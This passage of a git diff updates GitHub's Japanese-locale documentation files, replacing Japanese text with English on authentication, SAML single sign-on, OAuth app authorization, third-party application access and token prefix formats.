variables.product.prodname_oauth_app %}, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications). {% endif %} -## 参考リンク +## Further reading {% ifversion fpt or ghec %}- "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %} {% ifversion ghae %}- "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %} diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md index 00bb9385c2..2eb03de42e 100644 --- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md +++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md @@ -1,6 +1,6 @@ --- -title: SAMLシングルサインオンで認証する -intro: 'SAML シングルサインオン (SSO) {% ifversion fpt %}を使用して {% ifversion fpt %}{% data variables.product.product_name %} Organization{% elsif ghae %}{% data variables.product.product_location %} {% endif %} に対して認証し、アクティブなセッションを表示できます{% endif %}。' +title: Authenticating with SAML single sign-on +intro: 'You can authenticate to {% ifversion fpt %}a {% data variables.product.product_name %} organization {% elsif ghae %}{% data variables.product.product_location %} {% endif %}with SAML single sign-on (SSO){% ifversion fpt %} and view your active sessions{% endif %}.' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on/ diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md index 01ec03fffe..000a98288d 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md @@ -1,6 +1,6 @@ --- -title: GitHub への認証方法について -intro: '認証先に応じて異なる認証情報を使用し、{% data variables.product.product_name %} への認証を行うことで、アカウントのリソースに安全にアクセスできます。' +title: About authentication to GitHub +intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.' versions: fpt: '*' ghes: '*' @@ -14,54 +14,53 @@ redirect_from: - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github shortTitle: Authentication to GitHub --- +## About authentication to {% data variables.product.prodname_dotcom %} -## {% data variables.product.prodname_dotcom %} への認証について +To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. -アカウントを安全に保つには、{% data variables.product.product_name %} の {% ifversion not ghae %} 特定 {% endif %} のリソースにアクセスする前に認証する必要があります。 {% data variables.product.product_name %} への認証を行うときは、自分が確かに本人であることを証明するために、固有の認証情報を提供または確認します。 +You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication. -{% data variables.product.product_name %} のリソースには、ブラウザ内、{% data variables.product.prodname_desktop %} または別のデスクトップアプリケーション経由、API 経由、またはコマンドライン経由など、さまざまな方法でアクセスできます。 {% data variables.product.product_name %} へのアクセス方法は、それぞれ異なる認証モードをサポートしています。 +- {% ifversion ghae %}Your identity provider (IdP){% else %}Username and password with two-factor authentication{% endif %} +- Personal access token +- SSH key -- {% ifversion ghae %} ID プロバイダ (IdP) {% else %} 2 要素認証を使用したユーザ名とパスワード{% endif %} -- 個人アクセストークン -- SSH キー +## Authenticating in your browser -## ブラウザで認証する - -IdP を使用して、ブラウザ {% ifversion ghae %} で {% data variables.product.product_name %} に認証できます。 詳しい情報については、いくつかの方法で{% else %}「[SAML シングルサインオンでの認証について](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)」を参照してください。 +You can authenticate to {% data variables.product.product_name %} in your browser {% ifversion ghae %}using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."{% else %}in different ways. {% ifversion fpt or ghec %} -- If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} If you're not a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate using your browser on {% data variables.product.prodname_dotcom_the_website %}. +- If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} If you're not a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate using your browser on {% data variables.product.prodname_dotcom_the_website %}. {% endif %} -- **ユーザ名とパスワードのみ** - - {% data variables.product.product_name %} でユーザアカウントを作成するときにパスワードを作成します。 パスワードマネージャを使用して、ランダムで一意のパスワードを生成することをお勧めします。 詳しい情報については、「[強力なパスワードを作成する](/github/authenticating-to-github/creating-a-strong-password)」を参照してください。 -- **2 要素認証 (2FA)**（推奨） - - 2FA を有効にすると、ユーザ名とパスワードを入力した後に、モバイルデバイスのアプリケーションによって生成されたコードか、テキストメッセージ (SMS) として送信されたコードの入力も求められます。 詳しい情報については [2 要素認証を用いた {% data variables.product.prodname_dotcom %}へのアクセス](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)を参照してください。 - - モバイルアプリケーションまたはテキストメッセージでの認証に加えて、必要に応じて、WebAuthn を使用したセキュリティキーを使用した第2の認証方法を追加できます。 詳しい情報については、「[セキュリティキーを使用した 2 要素認証を設定する](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)」を参照してください。 +- **Username and password only** + - You'll create a password when you create your user account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)." +- **Two-factor authentication (2FA)** (recommended) + - If you enable 2FA, we'll also prompt you to provide a code that's generated by an application on your mobile device or sent as a text message (SMS) after you successfully enter your username and password. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)." + - In addition to authentication with a mobile application or a text message, you can optionally add a secondary method of authentication with a security key using WebAuthn. For more information, see "[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." {% endif %} -## {% data variables.product.prodname_desktop %} で認証する +## Authenticating with {% data variables.product.prodname_desktop %} -お使いのブラウザを使用して {% data variables.product.prodname_desktop %} で認証できます。 詳しい情報については「[{% data variables.product.prodname_dotcom %}への認証を行う](/desktop/getting-started-with-github-desktop/authenticating-to-github)」を参照してください。 +You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -## API で認証する +## Authenticating with the API -さまざまな方法で API を使用して認証できます。 +You can authenticate with the API in different ways. -- **個人アクセストークン** - - テストなどの限られた状況では、個人アクセストークンを使用して API にアクセスできます。 個人アクセストークンを使用すると、いつでもアクセスを取り消すことができます。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 -- **Web アプリケーションフロー** - - 製品としての OAuth App の場合、Web アプリケーションフローを使用して認証する必要があります。 詳しい情報については、「[OAuth App を認証する](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)」を参照してください。 +- **Personal access tokens** + - In limited situations, such as testing, you can use a personal access token to access the API. Using a personal access token enables you to revoke access at any time. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." +- **Web application flow** + - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)." - **GitHub Apps** - - 製品としての GitHub App の場合、アプリケーションのインストールに代わって認証する必要があります。 詳しい情報については、「[{% data variables.product.prodname_github_apps %} で認証する](/apps/building-github-apps/authenticating-with-github-apps/)」を参照してください。 + - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)." -## コマンドラインで認証する +## Authenticating with the command line -コマンドラインから {% data variables.product.product_name %} のリポジトリにアクセスするには、HTTPS と SSH の 2 つの方法がありますが、それぞれ認証方法が異なります。 認証方法は、リポジトリのクローンを作成するときに HTTPS または SSH リモート URL を選択したかどうかに基づいて決まります。 アクセス方法の詳細については、「[リモートリポジトリについて](/github/getting-started-with-github/about-remote-repositories)」を参照してください。 +You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." ### HTTPS -ファイアウォールまたはプロキシの内側からでも、HTTPS を介して {% data variables.product.product_name %} 上のすべてのリポジトリを操作できます。 +You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy. If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). @@ -69,28 +68,28 @@ If you authenticate without {% data variables.product.prodname_cli %}, you must ### SSH -SSH 接続はファイアウォールとプロキシから許可されない場合がありますが、SSH 経由で {% data variables.product.product_name %} 上のすべてのリポジトリを操作できます。 +You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxys might refuse to allow SSH connections. If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Then, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 詳しい情報については、「[新しい SSH キーを生成して ssh-agent に追加する](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。 Git を使用して {% data variables.product.product_name %} で認証するたびに、[キーを保存](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)していない限り、SSH キーのパスフレーズの入力を求められます。 +If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). ### Authorizing for SAML single sign-on -{% ifversion fpt or ghec %}個人アクセストークンまたは SSH キーを使用して、SAML シングルサインオンを使用する Organization が所有するリソースにアクセスするには、個人トークンまたは SSH キーも認証する必要があります。 詳しい情報については、[SAML シングルサインオンで利用するために個人アクセストークンを認証する](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)」または「[SAML シングルサインオンで使用するために SSH キーを認証する](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)」を参照してください。{% endif %} +{% ifversion fpt or ghec %}To use a personal access token or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## {% data variables.product.company_short %} のトークンフォーマット +## {% data variables.product.company_short %}'s token formats -{% data variables.product.company_short %} は、トークンの種別を示すプレフィックスで始まるトークンを発行します。 +{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type. -| トークン種別 | プレフィックス | 詳細情報 | -|:-------------------------------------------------------------------- |:------- |:------------------------------------------------------------------------------------------------------------------------------------------------- | -| 個人アクセストークン | `ghp_` | [個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token) | -| OAuth アクセストークン | `gho_` | 「[{% data variables.product.prodname_oauth_apps %} を認可する](/developers/apps/authorizing-oauth-apps)」 | -| {% data variables.product.prodname_github_app %} のユーザからサーバーへのトークン | `ghu_` | 「[{% data variables.product.prodname_github_apps %} のユーザの特定と認可](/developers/apps/identifying-and-authorizing-users-for-github-apps)」 | -| {% data variables.product.prodname_github_app %} のサーバーからサーバーへのトークン | `ghs_` | 「[{% data variables.product.prodname_github_apps %} で認証する](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)」 | -| {% data variables.product.prodname_github_app %} のトークンのリフレッシュ | `ghr_` | 「[ユーザからサーバーに対するアクセストークンをリフレッシュする](/developers/apps/refreshing-user-to-server-access-tokens)」 | +| Token type | Prefix | More information | +| :- | :- | :- | +| Personal access token | `ghp_` | "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" | +| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" | +| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" | +| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" | +| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" | {% endif %} diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md index ad89fd14a8..496a5c8683 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md @@ -1,6 +1,6 @@ --- -title: OAuth アプリケーションの認可 -intro: '{% data variables.product.product_name %}のアイデンティティを、OAuth を使うサードパーティのアプリケーションに接続できます。 {% data variables.product.prodname_oauth_app %}を認可する際には、そのアプリケーションを信頼することを確認し、誰が開発したのかをレビューし、そのアプリケーションがどういった種類の情報にアクセスしたいのかをレビューしなければなりません。' +title: Authorizing OAuth Apps +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing an {% data variables.product.prodname_oauth_app %}, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/authorizing-oauth-apps - /github/authenticating-to-github/authorizing-oauth-apps @@ -14,63 +14,62 @@ topics: - Identity - Access management --- - When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested. {% ifversion fpt or ghec %} {% tip %} -**ヒント:** {% data variables.product.prodname_oauth_app %}を認可するには、[メールアドレスを検証](/articles/verifying-your-email-address)しておかなければなりません。 +**Tip:** You must [verify your email address](/articles/verifying-your-email-address) before you can authorize an {% data variables.product.prodname_oauth_app %}. {% endtip %} {% endif %} -## {% data variables.product.prodname_oauth_app %}のアクセス +## {% data variables.product.prodname_oauth_app %} access {% data variables.product.prodname_oauth_apps %} can have *read* or *write* access to your {% data variables.product.product_name %} data. -- **読み取りアクセス**がアプリケーションに許すのは、データを*見る*ことだけです。 -- **書き込みアクセス**は、アプリケーションに対してデータを*変更*することを許します。 +- **Read access** only allows an app to *look at* your data. +- **Write access** allows an app to *change* your data. {% tip %} -**ヒント:** {% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -### OAuth のスコープについて +### About OAuth scopes -*スコープ*は、{% data variables.product.prodname_oauth_app %}がパブリックおよび非パブリックのデータにアクセスするためにリクエストできる権限の名前付きグループです。 +*Scopes* are named groups of permissions that an {% data variables.product.prodname_oauth_app %} can request to access both public and non-public data. -{% data variables.product.product_name %}と統合される {% data variables.product.prodname_oauth_app %}を使用したい場合、そのアプリケーションはデータに対してどういった種類のアクセスが必要になるのかを知らせてきます。 アプリケーションにアクセスを許可すれば、アプリケーションはあなたの代わりにデータの読み取りや変更といったアクションを行えるようになります。 たとえば `user:email` スコープをリクエストするアプリケーションを使用したい場合、そのアプリケーションはあなたのプライベートのメールアドレスに対してリードオンリーのアクセスを持つことになります。 For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." +When you want to use an {% data variables.product.prodname_oauth_app %} that integrates with {% data variables.product.product_name %}, that app lets you know what type of access to your data will be required. If you grant access to the app, then the app will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**メモ:** 現時点では、ソースコードへのアクセスのスコープをリードオンリーにすることはできません。 +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} {% data reusables.apps.oauth-token-limit %} -### リクエストされるデータの種類 +### Types of requested data {% data variables.product.prodname_oauth_apps %} can request several types of data. -| データの種類 | 説明 | -| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| コミットのステータス | アプリケーションにコミットのステータスをレポートするためのアクセスを許可できます。 コミットステータスのアクセスがあれば、アプリケーションはビルドが特定のコミットに対して成功したかどうかを判定できます。 アプリケーションはコードへのアクセスは持ちませんが、特定のコミットに対するステータス情報を読み書きできます。 | -| デプロイメント | デプロイメントのステータスへアクセスできれば、アプリケーションはパブリック及びプライベートのリポジトリの特定のコミットに対してデプロイメントが成功したかを判断できます。 アプリケーションはコードにはアクセスできません。 | -| Gist | [Gist](https://gist.github.com) アクセスがあれば、アプリケーションはあなたのパブリックおよびシークレット Gist の双方を読み書きできます。 | -| フック | [webhook](/webhooks) アクセスがあれば、アプリケーションはあなたが管理するリポジトリ上のフックの設定を読み書きできます。 | -| 通知 | 通知アクセスがあれば、アプリケーションは Issue やプルリクエストへのコメントなど、あなたの {% data variables.product.product_name %}通知を読むことができます。 しかし、アプリケーションはリポジトリ内へはアクセスできないままです。 | -| Organization および Team | Organization および Team のアクセスがあれば、アプリケーションは Organization および Team のメンバー構成へのアクセスと管理ができます。 | -| 個人ユーザデータ | ユーザデータには、名前、メールアドレス、所在地など、ユーザプロファイル内の情報が含まれます。 | -| リポジトリ | リポジトリ情報には、コントリビュータの名前、あなたが作成したブランチ、リポジトリ内の実際のファイルなどが含まれます。 アプリケーションはユーザ単位のレベルでパブリックあるいはプライベートリポジトリへのアクセスをリクエストできます。 | -| リポジトリの削除 | アプリケーションはあなたが管理するリポジトリの削除をリクエストできますが、コードにアクセスすることはできません。 | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for an app to report your commit status. Commit status access allows apps to determine if a build is a successful against a specific commit. Apps won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows apps to determine if a deployment is successful against a specific commit for public and private repositories. Apps won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows apps to read or write to both your public and secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows apps to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows apps to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, apps remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Apps can request access for either public or private repositories on a user-wide level. | +| Repository delete | Apps can request to delete repositories that you administer, but they won't have access to your code. | -## 更新された権限のリクエスト +## Requesting updated permissions When {% data variables.product.prodname_oauth_apps %} request new access permissions, they will notify you of the differences between their current permissions and the new permissions. @@ -78,13 +77,13 @@ When {% data variables.product.prodname_oauth_apps %} request new access permiss ## {% data variables.product.prodname_oauth_apps %} and organizations -{% data variables.product.prodname_oauth_app %}をあなたの個人ユーザアカウントに対して認可する際には、その認可があなたがメンバーになっているそれぞれの Organization に対してどう影響するかを理解してください。 +When you authorize an {% data variables.product.prodname_oauth_app %} for your personal user account, you'll also see how the authorization will affect each organization you're a member of. -- **{% data variables.product.prodname_oauth_app %}のアクセス制限が*ある* Organization の場合、Organization の管理者にその Organization 内でのアプリケーションの利用を承認してもらえるようリクエストできます。**Organization がそのアプリケーションを承認しなければ、そのアプリケーションは Organization のパブリックなリソースにしかアクセスできません。 あなたが Organization の管理者であれば、自分自身で [アプリケーションを承認](/articles/approving-oauth-apps-for-your-organization)できます。 +- **For organizations *with* {% data variables.product.prodname_oauth_app %} access restrictions, you can request that organization admins approve the application for use in that organization.** If the organization does not approve the application, then the application will only be able to access the organization's public resources. If you're an organization admin, you can [approve the application](/articles/approving-oauth-apps-for-your-organization) yourself. - **For organizations *without* {% data variables.product.prodname_oauth_app %} access restrictions, the application will automatically be authorized for access to that organization's resources.** For this reason, you should be careful about which {% data variables.product.prodname_oauth_apps %} you approve for access to your personal account resources as well as any organization resources. -SAML シングルサインオンを実施する Organization に所属している場合は、{% data variables.product.prodname_oauth_app %}を承認するたびに、Organization ごとのアクティブな SAML セッションが必要です。 +If you belong to any organizations that enforce SAML single sign-on, you must have an active SAML session for each organization each time you authorize an {% data variables.product.prodname_oauth_app %}. {% note %} @@ -92,10 +91,10 @@ SAML シングルサインオンを実施する Organization に所属してい {% endnote %} -## 参考リンク +## Further reading -- [{% data variables.product.prodname_oauth_app %}のアクセス制限について](/articles/about-oauth-app-access-restrictions) +- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)" - "[Authorizing GitHub Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)" -- [{% data variables.product.prodname_marketplace %}のサポート](/articles/github-marketplace-support) +- "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" {% endif %} diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md index 04e3843b63..e70e25bdd2 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -1,6 +1,6 @@ --- -title: サードパーティアプリケーションと接続する -intro: '{% data variables.product.product_name %}のアイデンティティを、OAuth を使うサードパーティのアプリケーションに接続できます。 これらのアプリケーションを認可する際には、そのアプリケーションを信頼するか、誰が開発したのか、そのアプリケーションがどういった種類の情報にアクセスしたいのかを確認すべきです。' +title: Connecting with third-party applications +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/connecting-with-third-party-applications - /github/authenticating-to-github/connecting-with-third-party-applications @@ -15,64 +15,63 @@ topics: - Access management shortTitle: Third-party applications --- +When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. -サードパーティアプリケーションが {% data variables.product.product_name %} ログインであなたを識別したい場合、そのアプリケーションの開発者の連絡先情報と、リクエストされている情報のリストのページが表示されます。 +## Contacting the application developer -## アプリケーション開発者に連絡する +Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application. -アプリケーションは、{% data variables.product.product_name %} 以外のサードパーティにより開発されているため、アプリケーションがアクセスを要求しているデータをどう使うかについて、私たちは正確に把握していません。 アプリケーションについて、質問や懸念がある場合は、ページ上部の開発者情報を使って、アプリケーション管理者に連絡できます。 +![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png) -![{% data variables.product.prodname_oauth_app %}オーナー情報](/assets/images/help/platform/oauth_owner_bar.png) +If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website. -開発者が情報を入力している場合は、ページの右側に、アプリケーションの詳細情報や関連ウェブサイトが表示されます。 +![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png) -![OAuth アプリケーションの情報とウェブサイト](/assets/images/help/platform/oauth_app_info.png) +## Types of application access and data -## アプリケーションのアクセスとデータのタイプ +Applications can have *read* or *write* access to your {% data variables.product.product_name %} data. -アプリケーションは、{% data variables.product.product_name %}のデータに対して*読み取り*または*書き込み*アクセスを持つことができます。 +- **Read access** only allows an application to *look at* your data. +- **Write access** allows an application to *change* your data. -- **読み取りアクセス**は、アプリケーションに対してデータを*見る*ことのみを許可します。 -- **書き込みアクセス**は、アプリケーションに対してデータを*変更*することを許可します。 +### About OAuth scopes -### OAuth のスコープについて +*Scopes* are named groups of permissions that an application can request to access both public and non-public data. -*スコープ*は、アプリケーションがパブリックおよび非パブリックのデータへのアクセスをリクエストできる権限について名前を付けたグループです。 - -{% data variables.product.product_name %} と統合するサードパーティアプリケーションを使用したい場合、そのアプリケーションは、データに対してどういった種類のアクセスが必要になるのかをあなたに通知します。 アプリケーションにアクセスを許可すれば、アプリケーションはあなたの代わりにデータの読み取りや変更といったアクションを行えるようになります。 たとえば `user:email` スコープをリクエストするアプリケーションを使用したい場合、そのアプリケーションはあなたのプライベートのメールアドレスに対してリードオンリーのアクセスを持つことになります。 For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." +When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**メモ:** 現時点では、ソースコードへのアクセスのスコープをリードオンリーにすることはできません。 +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} -### リクエストされるデータの種類 +### Types of requested data -アプリケーションがリクエストできるデータの種類はいくつかあります。 +There are several types of data that applications can request. -![OAuth アクセスの詳細](/assets/images/help/platform/oauth_access_types.png) +![OAuth access details](/assets/images/help/platform/oauth_access_types.png) {% tip %} -**ヒント:** {% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -| データの種類 | 説明 | -| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| コミットのステータス | サードパーティアプリケーションに、コミットのステータスを報告するためのアクセスを許可できます。 コミットステータスのアクセスがあれば、アプリケーションはビルドが特定のコミットに対して成功したかどうかを判定できます。 アプリケーションは、コードにはアクセスできませんが、特定のコミットに対するステータス情報を読み書きできます。 | -| デプロイメント | デプロイメントステータスにアクセスできれば、アプリケーションは、リポジトリの特定のコミットに対してデプロイメントが成功したかどうかを判断できます。 アプリケーションはコードにアクセスできなくなります。 | -| Gist | [Gist](https://gist.github.com) アクセスがあれば、アプリケーションは {% ifversion not ghae %}あなたのパブリックおよび{% else %}内部{% endif %}シークレット Gist の両方を読み書きできます。 | -| フック | [webhook](/webhooks) アクセスがあれば、アプリケーションはあなたが管理するリポジトリ上のフックの設定を読み書きできます。 | -| 通知 | 通知アクセスがあれば、アプリケーションは Issue やプルリクエストへのコメントなど、あなたの {% data variables.product.product_name %} 通知を読むことができます。 ただし、アプリケーションはリポジトリ内へはアクセスできません。 | -| Organization および Team | Organization および Team のアクセスがあれば、アプリケーションは Organization および Team のメンバー構成へのアクセスと管理ができます。 | -| 個人ユーザデータ | ユーザデータには、名前、メールアドレス、所在地など、ユーザプロファイル内の情報が含まれます。 | -| リポジトリ | 